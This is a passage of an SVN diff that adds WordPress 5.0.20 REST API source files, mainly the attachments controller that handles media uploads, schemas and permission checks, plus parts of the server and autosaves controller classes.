+					break;
+				}
+			}
+		}
+	}
+
+	/**
+	 * Retrieves the raw request entity (body).
+	 *
+	 * @since 4.4.0
+	 *
+	 * @global string $HTTP_RAW_POST_DATA Raw post data.
+	 *
+	 * @return string Raw request data.
+	 */
+	public static function get_raw_data() {
+		global $HTTP_RAW_POST_DATA;
+
+		/*
+		 * A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
+		 * but we can do it ourself.
+		 */
+		if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
+			$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
+		}
+
+		return $HTTP_RAW_POST_DATA;
+	}
+
+	/**
+	 * Extracts headers from a PHP-style $_SERVER array.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $server Associative array similar to `$_SERVER`.
+	 * @return array Headers extracted from the input.
+	 */
+	public function get_headers( $server ) {
+		$headers = array();
+
+		// CONTENT_* headers are not prefixed with HTTP_.
+		$additional = array( 'CONTENT_LENGTH' => true, 'CONTENT_MD5' => true, 'CONTENT_TYPE' => true );
+
+		foreach ( $server as $key => $value ) {
+			if ( strpos( $key, 'HTTP_' ) === 0 ) {
+				$headers[ substr( $key, 5 ) ] = $value;
+			} elseif ( isset( $additional[ $key ] ) ) {
+				$headers[ $key ] = $value;
+			}
+		}
+
+		return $headers;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php	(revision 56912)
@@ -0,0 +1,838 @@
+<?php
+/**
+ * REST API: WP_REST_Attachments_Controller class
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 4.7.0
+ */
+
+/**
+ * Core controller used to access attachments via the REST API.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_REST_Posts_Controller
+ */
+class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {
+
+	/**
+	 * Determines the allowed query_vars for a get_items() response and
+	 * prepares for WP_Query.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
+	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
+	 * @return array Array of query arguments.
+	 */
+	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
+		$query_args = parent::prepare_items_query( $prepared_args, $request );
+
+		if ( empty( $query_args['post_status'] ) ) {
+			$query_args['post_status'] = 'inherit';
+		}
+
+		$media_types = $this->get_media_types();
+
+		if ( ! empty( $request['media_type'] ) && isset( $media_types[ $request['media_type'] ] ) ) {
+			$query_args['post_mime_type'] = $media_types[ $request['media_type'] ];
+		}
+
+		if ( ! empty( $request['mime_type'] ) ) {
+			$parts = explode( '/', $request['mime_type'] );
+			if ( isset( $media_types[ $parts[0] ] ) && in_array( $request['mime_type'], $media_types[ $parts[0] ], true ) ) {
+				$query_args['post_mime_type'] = $request['mime_type'];
+			}
+		}
+
+		// Filter query clauses to include filenames.
+		if ( isset( $query_args['s'] ) ) {
+			add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
+		}
+
+		return $query_args;
+	}
+
+	/**
+	 * Checks if a given request has access to create an attachment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|true Boolean true if the attachment may be created, or a WP_Error if not.
+	 */
+	public function create_item_permissions_check( $request ) {
+		$ret = parent::create_item_permissions_check( $request );
+
+		if ( ! $ret || is_wp_error( $ret ) ) {
+			return $ret;
+		}
+
+		if ( ! current_user_can( 'upload_files' ) ) {
+			return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => 400 ) );
+		}
+
+		// Attaching media to a post requires ability to edit said post.
+		if ( ! empty( $request['post'] ) ) {
+			$parent = get_post( (int) $request['post'] );
+			$post_parent_type = get_post_type_object( $parent->post_type );
+
+			if ( ! current_user_can( $post_parent_type->cap->edit_post, $request['post'] ) ) {
+				return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to upload media to this post.' ), array( 'status' => rest_authorization_required_code() ) );
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Creates a single attachment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, WP_Error object on failure.
+	 */
+	public function create_item( $request ) {
+
+		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
+			return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) );
+		}
+
+		// Get the file via $_FILES or raw data.
+		$files = $request->get_file_params();
+		$headers = $request->get_headers();
+
+		if ( ! empty( $files ) ) {
+			$file = $this->upload_from_file( $files, $headers );
+		} else {
+			$file = $this->upload_from_data( $request->get_body(), $headers );
+		}
+
+		if ( is_wp_error( $file ) ) {
+			return $file;
+		}
+
+		$name       = basename( $file['file'] );
+		$name_parts = pathinfo( $name );
+		$name       = trim( substr( $name, 0, -(1 + strlen( $name_parts['extension'] ) ) ) );
+
+		$url     = $file['url'];
+		$type    = $file['type'];
+		$file    = $file['file'];
+
+		// Include image functions to get access to wp_read_image_metadata().
+		require_once ABSPATH . 'wp-admin/includes/image.php';
+
+		// use image exif/iptc data for title and caption defaults if possible
+		$image_meta = wp_read_image_metadata( $file );
+
+		if ( ! empty( $image_meta ) ) {
+			if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
+				$request['title'] = $image_meta['title'];
+			}
+
+			if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) {
+				$request['caption'] = $image_meta['caption'];
+			}
+		}
+
+		$attachment = $this->prepare_item_for_database( $request );
+		$attachment->post_mime_type = $type;
+		$attachment->guid = $url;
+
+		if ( empty( $attachment->post_title ) ) {
+			$attachment->post_title = preg_replace( '/\.[^.]+$/', '', basename( $file ) );
+		}
+
+		// $post_parent is inherited from $attachment['post_parent'].
+		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true );
+
+		if ( is_wp_error( $id ) ) {
+			if ( 'db_update_error' === $id->get_error_code() ) {
+				$id->add_data( array( 'status' => 500 ) );
+			} else {
+				$id->add_data( array( 'status' => 400 ) );
+			}
+			return $id;
+		}
+
+		$attachment = get_post( $id );
+
+		/**
+		 * Fires after a single attachment is created or updated via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Post         $attachment Inserted or updated attachment
+		 *                                    object.
+		 * @param WP_REST_Request $request    The request sent to the API.
+		 * @param bool            $creating   True when creating an attachment, false when updating.
+		 */
+		do_action( 'rest_insert_attachment', $attachment, $request, true );
+
+		// Include admin function to get access to wp_generate_attachment_metadata().
+		require_once ABSPATH . 'wp-admin/includes/media.php';
+
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+
+		if ( isset( $request['alt_text'] ) ) {
+			update_post_meta( $id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) );
+		}
+
+		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		/**
+		 * Fires after a single attachment is completely created or updated via the REST API.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_Post         $attachment Inserted or updated attachment object.
+		 * @param WP_REST_Request $request    Request object.
+		 * @param bool            $creating   True when creating an attachment, false when updating.
+		 */
+		do_action( 'rest_after_insert_attachment', $attachment, $request, true );
+
+		$response = $this->prepare_item_for_response( $attachment, $request );
+		$response = rest_ensure_response( $response );
+		$response->set_status( 201 );
+		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $id ) ) );
+
+		return $response;
+	}
+
+	/**
+	 * Updates a single attachment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, WP_Error object on failure.
+	 */
+	public function update_item( $request ) {
+		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
+			return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) );
+		}
+
+		$response = parent::update_item( $request );
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		$response = rest_ensure_response( $response );
+		$data = $response->get_data();
+
+		if ( isset( $request['alt_text'] ) ) {
+			update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] );
+		}
+
+		$attachment = get_post( $request['id'] );
+
+		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
+		do_action( 'rest_after_insert_attachment', $attachment, $request, false );
+
+		$response = $this->prepare_item_for_response( $attachment, $request );
+		$response = rest_ensure_response( $response );
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a single attachment for create or update.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_Error|stdClass $prepared_attachment Post object.
+	 */
+	protected function prepare_item_for_database( $request ) {
+		$prepared_attachment = parent::prepare_item_for_database( $request );
+
+		// Attachment caption (post_excerpt internally)
+		if ( isset( $request['caption'] ) ) {
+			if ( is_string( $request['caption'] ) ) {
+				$prepared_attachment->post_excerpt = $request['caption'];
+			} elseif ( isset( $request['caption']['raw'] ) ) {
+				$prepared_attachment->post_excerpt = $request['caption']['raw'];
+			}
+		}
+
+		// Attachment description (post_content internally)
+		if ( isset( $request['description'] ) ) {
+			if ( is_string( $request['description'] ) ) {
+				$prepared_attachment->post_content = $request['description'];
+			} elseif ( isset( $request['description']['raw'] ) ) {
+				$prepared_attachment->post_content = $request['description']['raw'];
+			}
+		}
+
+		if ( isset( $request['post'] ) ) {
+			$prepared_attachment->post_parent = (int) $request['post'];
+		}
+
+		return $prepared_attachment;
+	}
+
+	/**
+	 * Prepares a single attachment output for response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Post         $post    Attachment object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $post, $request ) {
+		$response = parent::prepare_item_for_response( $post, $request );
+		$fields   = $this->get_fields_for_response( $request );
+		$data     = $response->get_data();
+
+		if ( in_array( 'description', $fields, true ) ) {
+			$data['description'] = array(
+				'raw'      => $post->post_content,
+				/** This filter is documented in wp-includes/post-template.php */
+				'rendered' => apply_filters( 'the_content', $post->post_content ),
+			);
+		}
+
+		if ( in_array( 'caption', $fields, true ) ) {
+			/** This filter is documented in wp-includes/post-template.php */
+			$caption         = apply_filters( 'the_excerpt', apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ) );
+			$data['caption'] = array(
+				'raw'      => $post->post_excerpt,
+				'rendered' => $caption,
+			);
+		}
+
+		if ( in_array( 'alt_text', $fields, true ) ) {
+			$data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
+		}
+
+		if ( in_array( 'media_type', $fields, true ) ) {
+			$data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file';
+		}
+
+		if ( in_array( 'mime_type', $fields, true ) ) {
+			$data['mime_type'] = $post->post_mime_type;
+		}
+
+		if ( in_array( 'media_details', $fields, true ) ) {
+			$data['media_details'] = wp_get_attachment_metadata( $post->ID );
+
+			// Ensure empty details is an empty object.
+			if ( empty( $data['media_details'] ) ) {
+				$data['media_details'] = new stdClass;
+			} elseif ( ! empty( $data['media_details']['sizes'] ) ) {
+
+				foreach ( $data['media_details']['sizes'] as $size => &$size_data ) {
+
+					if ( isset( $size_data['mime-type'] ) ) {
+						$size_data['mime_type'] = $size_data['mime-type'];
+						unset( $size_data['mime-type'] );
+					}
+
+					// Use the same method image_downsize() does.
+					$image_src = wp_get_attachment_image_src( $post->ID, $size );
+					if ( ! $image_src ) {
+						continue;
+					}
+
+					$size_data['source_url'] = $image_src[0];
+				}
+
+				$full_src = wp_get_attachment_image_src( $post->ID, 'full' );
+
+				if ( ! empty( $full_src ) ) {
+					$data['media_details']['sizes']['full'] = array(
+						'file'       => wp_basename( $full_src[0] ),
+						'width'      => $full_src[1],
+						'height'     => $full_src[2],
+						'mime_type'  => $post->post_mime_type,
+						'source_url' => $full_src[0],
+					);
+				}
+			} else {
+				$data['media_details']['sizes'] = new stdClass;
+			}
+		}
+
+		if ( in_array( 'post', $fields, true ) ) {
+			$data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null;
+		}
+
+		if ( in_array( 'source_url', $fields, true ) ) {
+			$data['source_url'] = wp_get_attachment_url( $post->ID );
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+
+		$data = $this->filter_response_by_context( $data, $context );
+
+		$links = $response->get_links();
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		foreach ( $links as $rel => $rel_links ) {
+			foreach ( $rel_links as $link ) {
+				$response->add_link( $rel, $link['href'], $link['attributes'] );
+			}
+		}
+
+		/**
+		 * Filters an attachment returned from the REST API.
+		 *
+		 * Allows modification of the attachment right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response $response The response object.
+		 * @param WP_Post          $post     The original attachment post.
+		 * @param WP_REST_Request  $request  Request used to generate the response.
+		 */
+		return apply_filters( 'rest_prepare_attachment', $response, $post, $request );
+	}
+
+	/**
+	 * Retrieves the attachment's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Item schema as an array.
+	 */
+	public function get_item_schema() {
+
+		$schema = parent::get_item_schema();
+
+		$schema['properties']['alt_text'] = array(
+			'description'     => __( 'Alternative text to display when attachment is not displayed.' ),
+			'type'            => 'string',
+			'context'         => array( 'view', 'edit', 'embed' ),
+			'arg_options'     => array(
+				'sanitize_callback' => 'sanitize_text_field',
+			),
+		);
+
+		$schema['properties']['caption'] = array(
+			'description' => __( 'The attachment caption.' ),
+			'type'        => 'object',
+			'context'     => array( 'view', 'edit', 'embed' ),
+			'arg_options' => array(
+				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
+				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
+			),
+			'properties'  => array(
+				'raw' => array(
+					'description' => __( 'Caption for the attachment, as it exists in the database.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+				),
+				'rendered' => array(
+					'description' => __( 'HTML caption for the attachment, transformed for display.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'edit', 'embed' ),
+					'readonly'    => true,
+				),
+			),
+		);
+
+		$schema['properties']['description'] = array(
+			'description' => __( 'The attachment description.' ),
+			'type'        => 'object',
+			'context'     => array( 'view', 'edit' ),
+			'arg_options' => array(
+				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
+				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
+			),
+			'properties'  => array(
+				'raw' => array(
+					'description' => __( 'Description for the object, as it exists in the database.' ),
+					'type'        => 'string',
+					'context'     => array( 'edit' ),
+				),
+				'rendered' => array(
+					'description' => __( 'HTML description for the object, transformed for display.' ),
+					'type'        => 'string',
+					'context'     => array( 'view', 'edit' ),
+					'readonly'    => true,
+				),
+			),
+		);
+
+		$schema['properties']['media_type'] = array(
+			'description'     => __( 'Attachment type.' ),
+			'type'            => 'string',
+			'enum'            => array( 'image', 'file' ),
+			'context'         => array( 'view', 'edit', 'embed' ),
+			'readonly'        => true,
+		);
+
+		$schema['properties']['mime_type'] = array(
+			'description'     => __( 'The attachment MIME type.' ),
+			'type'            => 'string',
+			'context'         => array( 'view', 'edit', 'embed' ),
+			'readonly'        => true,
+		);
+
+		$schema['properties']['media_details'] = array(
+			'description'     => __( 'Details about the media file, specific to its type.' ),
+			'type'            => 'object',
+			'context'         => array( 'view', 'edit', 'embed' ),
+			'readonly'        => true,
+		);
+
+		$schema['properties']['post'] = array(
+			'description'     => __( 'The ID for the associated post of the attachment.' ),
+			'type'            => 'integer',
+			'context'         => array( 'view', 'edit' ),
+		);
+
+		$schema['properties']['source_url'] = array(
+			'description'     => __( 'URL to the original attachment file.' ),
+			'type'            => 'string',
+			'format'          => 'uri',
+			'context'         => array( 'view', 'edit', 'embed' ),
+			'readonly'        => true,
+		);
+
+		unset( $schema['properties']['password'] );
+
+		return $schema;
+	}
+
+	/**
+	 * Handles an upload via raw POST data.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $data    Supplied file data.
+	 * @param array $headers HTTP headers from the request.
+	 * @return array|WP_Error Data from wp_handle_sideload().
+	 */
+	protected function upload_from_data( $data, $headers ) {
+		if ( empty( $data ) ) {
+			return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) );
+		}
+
+		if ( empty( $headers['content_type'] ) ) {
+			return new WP_Error( 'rest_upload_no_content_type', __( 'No Content-Type supplied.' ), array( 'status' => 400 ) );
+		}
+
+		if ( empty( $headers['content_disposition'] ) ) {
+			return new WP_Error( 'rest_upload_no_content_disposition', __( 'No Content-Disposition supplied.' ), array( 'status' => 400 ) );
+		}
+
+		$filename = self::get_filename_from_disposition( $headers['content_disposition'] );
+
+		if ( empty( $filename ) ) {
+			return new WP_Error( 'rest_upload_invalid_disposition', __( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ), array( 'status' => 400 ) );
+		}
+
+		if ( ! empty( $headers['content_md5'] ) ) {
+			$content_md5 = array_shift( $headers['content_md5'] );
+			$expected    = trim( $content_md5 );
+			$actual      = md5( $data );
+
+			if ( $expected !== $actual ) {
+				return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) );
+			}
+		}
+
+		// Get the content-type.
+		$type = array_shift( $headers['content_type'] );
+
+		/** Include admin functions to get access to wp_tempnam() and wp_handle_sideload(). */
+		require_once ABSPATH . 'wp-admin/includes/file.php';
+
+		// Save the file.
+		$tmpfname = wp_tempnam( $filename );
+
+		$fp = fopen( $tmpfname, 'w+' );
+
+		if ( ! $fp ) {
+			return new WP_Error( 'rest_upload_file_error', __( 'Could not open file handle.' ), array( 'status' => 500 ) );
+		}
+
+		fwrite( $fp, $data );
+		fclose( $fp );
+
+		// Now, sideload it in.
+		$file_data = array(
+			'error'    => null,
+			'tmp_name' => $tmpfname,
+			'name'     => $filename,
+			'type'     => $type,
+		);
+
+		$size_check = self::check_upload_size( $file_data );
+		if ( is_wp_error( $size_check ) ) {
+			return $size_check;
+		}
+
+		$overrides = array(
+			'test_form' => false,
+		);
+
+		$sideloaded = wp_handle_sideload( $file_data, $overrides );
+
+		if ( isset( $sideloaded['error'] ) ) {
+			@unlink( $tmpfname );
+
+			return new WP_Error( 'rest_upload_sideload_error', $sideloaded['error'], array( 'status' => 500 ) );
+		}
+
+		return $sideloaded;
+	}
+
+	/**
+	 * Parses filename from a Content-Disposition header value.
+	 *
+	 * As per RFC6266:
+	 *
+	 *     content-disposition = "Content-Disposition" ":"
+	 *                            disposition-type *( ";" disposition-parm )
+	 *
+	 *     disposition-type    = "inline" | "attachment" | disp-ext-type
+	 *                         ; case-insensitive
+	 *     disp-ext-type       = token
+	 *
+	 *     disposition-parm    = filename-parm | disp-ext-parm
+	 *
+	 *     filename-parm       = "filename" "=" value
+	 *                         | "filename*" "=" ext-value
+	 *
+	 *     disp-ext-parm       = token "=" value
+	 *                         | ext-token "=" ext-value
+	 *     ext-token           = <the characters in token, followed by "*">
+	 *
+	 * @since 4.7.0
+	 *
+	 * @link http://tools.ietf.org/html/rfc2388
+	 * @link http://tools.ietf.org/html/rfc6266
+	 *
+	 * @param string[] $disposition_header List of Content-Disposition header values.
+	 * @return string|null Filename if available, or null if not found.
+	 */
+	public static function get_filename_from_disposition( $disposition_header ) {
+		// Get the filename.
+		$filename = null;
+
+		foreach ( $disposition_header as $value ) {
+			$value = trim( $value );
+
+			if ( strpos( $value, ';' ) === false ) {
+				continue;
+			}
+
+			list( $type, $attr_parts ) = explode( ';', $value, 2 );
+
+			$attr_parts = explode( ';', $attr_parts );
+			$attributes = array();
+
+			foreach ( $attr_parts as $part ) {
+				if ( strpos( $part, '=' ) === false ) {
+					continue;
+				}
+
+				list( $key, $value ) = explode( '=', $part, 2 );
+
+				$attributes[ trim( $key ) ] = trim( $value );
+			}
+
+			if ( empty( $attributes['filename'] ) ) {
+				continue;
+			}
+
+			$filename = trim( $attributes['filename'] );
+
+			// Unquote quoted filename, but after trimming.
+			if ( substr( $filename, 0, 1 ) === '"' && substr( $filename, -1, 1 ) === '"' ) {
+				$filename = substr( $filename, 1, -1 );
+			}
+		}
+
+		return $filename;
+	}
+
+	/**
+	 * Retrieves the query params for collections of attachments.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Query parameters for the attachment collection as an array.
+	 */
+	public function get_collection_params() {
+		$params = parent::get_collection_params();
+		$params['status']['default'] = 'inherit';
+		$params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' );
+		$media_types = $this->get_media_types();
+
+		$params['media_type'] = array(
+			'default'           => null,
+			'description'       => __( 'Limit result set to attachments of a particular media type.' ),
+			'type'              => 'string',
+			'enum'              => array_keys( $media_types ),
+		);
+
+		$params['mime_type'] = array(
+			'default'     => null,
+			'description' => __( 'Limit result set to attachments of a particular MIME type.' ),
+			'type'        => 'string',
+		);
+
+		return $params;
+	}
+
+	/**
+	 * Validates whether the user can query private statuses.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param mixed           $value     Status value.
+	 * @param WP_REST_Request $request   Request object.
+	 * @param string          $parameter Additional parameter to pass for validation.
+	 * @return WP_Error|bool True if the user may query, WP_Error if not.
+	 */
+	public function validate_user_can_query_private_statuses( $value, $request, $parameter ) {
+		if ( 'inherit' === $value ) {
+			return true;
+		}
+
+		return parent::validate_user_can_query_private_statuses( $value, $request, $parameter );
+	}
+
+	/**
+	 * Handles an upload via multipart/form-data ($_FILES).
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $files   Data from the `$_FILES` superglobal.
+	 * @param array $headers HTTP headers from the request.
+	 * @return array|WP_Error Data from wp_handle_upload().
+	 */
+	protected function upload_from_file( $files, $headers ) {
+		if ( empty( $files ) ) {
+			return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) );
+		}
+
+		// Verify hash, if given.
+		if ( ! empty( $headers['content_md5'] ) ) {
+			$content_md5 = array_shift( $headers['content_md5'] );
+			$expected    = trim( $content_md5 );
+			$actual      = md5_file( $files['file']['tmp_name'] );
+
+			if ( $expected !== $actual ) {
+				return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) );
+			}
+		}
+
+		// Pass off to WP to handle the actual upload.
+		$overrides = array(
+			'test_form'   => false,
+		);
+
+		// Bypasses is_uploaded_file() when running unit tests.
+		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
+			$overrides['action'] = 'wp_handle_mock_upload';
+		}
+
+		$size_check = self::check_upload_size( $files['file'] );
+		if ( is_wp_error( $size_check ) ) {
+			return $size_check;
+		}
+
+		/** Include admin function to get access to wp_handle_upload(). */
+		require_once ABSPATH . 'wp-admin/includes/file.php';
+
+		$file = wp_handle_upload( $files['file'], $overrides );
+
+		if ( isset( $file['error'] ) ) {
+			return new WP_Error( 'rest_upload_unknown_error', $file['error'], array( 'status' => 500 ) );
+		}
+
+		return $file;
+	}
+
+	/**
+	 * Retrieves the supported media types.
+	 *
+	 * Media types are considered the MIME type category.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Array of supported media types.
+	 */
+	protected function get_media_types() {
+		$media_types = array();
+
+		foreach ( get_allowed_mime_types() as $mime_type ) {
+			$parts = explode( '/', $mime_type );
+
+			if ( ! isset( $media_types[ $parts[0] ] ) ) {
+				$media_types[ $parts[0] ] = array();
+			}
+
+			$media_types[ $parts[0] ][] = $mime_type;
+		}
+
+		return $media_types;
+	}
+
+	/**
+	 * Determine if uploaded file exceeds space quota on multisite.
+	 *
+	 * Replicates check_upload_size().
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param array $file $_FILES array for a given file.
+	 * @return true|WP_Error True if can upload, error for errors.
+	 */
+	protected function check_upload_size( $file ) {
+		if ( ! is_multisite() ) {
+			return true;
+		}
+
+		if ( get_site_option( 'upload_space_check_disabled' ) ) {
+			return true;
+		}
+
+		$space_left = get_upload_space_available();
+
+		$file_size = filesize( $file['tmp_name'] );
+		if ( $space_left < $file_size ) {
+			/* translators: %s: required disk space in kilobytes */
+			return new WP_Error( 'rest_upload_limited_space', sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ), array( 'status' => 400 ) );
+		}
+
+		if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
+			/* translators: %s: maximum allowed file size in kilobytes */
+			return new WP_Error( 'rest_upload_file_too_big', sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ), array( 'status' => 400 ) );
+		}
+
+		// Include admin function to get access to upload_is_user_over_quota().
+		require_once ABSPATH . 'wp-admin/includes/ms.php';
+
+		if ( upload_is_user_over_quota( false ) ) {
+			return new WP_Error( 'rest_upload_user_quota_exceeded', __( 'You have used your space quota. Please delete files before uploading.' ), array( 'status' => 400 ) );
+		}
+		return true;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php
===================================================================
--- /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php	(revision 56912)
@@ -0,0 +1,427 @@
+<?php
+/**
+ * REST API: WP_REST_Autosaves_Controller class.
+ *
+ * @package WordPress
+ * @subpackage REST_API
+ * @since 5.0.0
+ */
+
+/**
+ * Core class used to access autosaves via the REST API.
+ *
+ * @since 5.0.0
+ *
+ * @see WP_REST_Controller
+ */
+class WP_REST_Autosaves_Controller extends WP_REST_Revisions_Controller {
+
+	/**
+	 * Parent post type.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	private $parent_post_type;
+
+	/**
+	 * Parent post controller.
+	 *
+	 * @since 5.0.0
+	 * @var WP_REST_Controller
+	 */
+	private $parent_controller;
+
+	/**
+	 * Revision controller.
+	 *
+	 * @since 5.0.0
+	 * @var WP_REST_Controller
+	 */
+	private $revisions_controller;
+
+	/**
+	 * The base of the parent controller's route.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	private $parent_base;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $parent_post_type Post type of the parent.
+	 */
+	public function __construct( $parent_post_type ) {
+		$this->parent_post_type = $parent_post_type;
+		$post_type_object       = get_post_type_object( $parent_post_type );
+
+		// Ensure that post type-specific controller logic is available.
+		$parent_controller_class = ! empty( $post_type_object->rest_controller_class ) ? $post_type_object->rest_controller_class : 'WP_REST_Posts_Controller';
+
+		$this->parent_controller    = new $parent_controller_class( $post_type_object->name );
+		$this->revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
+		$this->rest_namespace       = 'wp/v2';
+		$this->rest_base            = 'autosaves';
+		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
+	}
+
+	/**
+	 * Registers routes for autosaves.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @see register_rest_route()
+	 */
+	public function register_routes() {
+		register_rest_route(
+			$this->rest_namespace,
+			'/' . $this->parent_base . '/(?P<id>[\d]+)/' . $this->rest_base,
+			array(
+				'args'   => array(
+					'parent' => array(
+						'description' => __( 'The ID for the parent of the object.' ),
+						'type'        => 'integer',
+					),
+				),
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_items' ),
+					'permission_callback' => array( $this, 'get_items_permissions_check' ),
+					'args'                => $this->get_collection_params(),
+				),
+				array(
+					'methods'             => WP_REST_Server::CREATABLE,
+					'callback'            => array( $this, 'create_item' ),
+					'permission_callback' => array( $this, 'create_item_permissions_check' ),
+					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
+				),
+				'schema' => array( $this, 'get_public_item_schema' ),
+			)
+		);
+
+		register_rest_route(
+			$this->rest_namespace,
+			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
+			array(
+				'args'   => array(
+					'parent' => array(
+						'description' => __( 'The ID for the parent of the object.' ),
+						'type'        => 'integer',
+					),
+					'id'     => array(
+						'description' => __( 'The ID for the object.' ),
+						'type'        => 'integer',
+					),
+				),
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array( $this, 'get_item' ),
+					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
+					'args'                => array(
+						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
+					),
+				),
+				'schema' => array( $this, 'get_public_item_schema' ),
+			)
+		);
+
+	}
+
+	/**
+	 * Get the parent post.
+	 *
+	 * @since 5.0.0
